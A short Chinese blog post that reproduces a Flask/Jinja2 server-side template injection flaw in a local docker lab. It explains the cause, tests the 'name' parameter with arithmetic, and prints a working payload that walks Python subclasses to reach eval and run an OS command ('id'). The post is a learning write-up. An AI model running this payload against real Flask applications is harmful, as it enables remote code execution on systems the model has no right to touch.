一、原理:
第一次做博客,不会做请见谅,其实也是为了方便自己复习和学习,如果有哪里做的不好或者有好的建议,请纠正我,谢谢~
网页使用了python中的flask模块,其中template没有经过任何过滤或识别直接渲染,导致任意命令执行漏洞。
二、漏洞复现
环境搭建:docker-compose up -d
源码可以知道,需要提交的参数为name,所以使用name尝试是否有ssti漏洞
直接传参abc发现直接输出
尝试执行4*4,发现可以获得计算后的结果,自此说明有漏洞
除此之外还可以尝试其他的ssti漏洞命令,查看基类(我这边只能源码看到,外面显示不出来头疼,果然还是太菜啦,得多学学)
官方poc:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
讲解:
catch_warnings模块来捕获和处理与模板注入相关的警告消息,大概意思就是从警告信息中查找是否有eval(执行代码)的函数,如果有可以直接用
endif和endfor是是来控制模板输出,也是靠它来结束语句的
其他的应该都是比较容易明白的,如果不太明白
执行成功,除此之外还可以尝试其他命令执行
自此漏洞复现结束
三、参考链接
https://www.cnblogs.com/Rasang/p/12181654.htmlPython——flask漏洞探究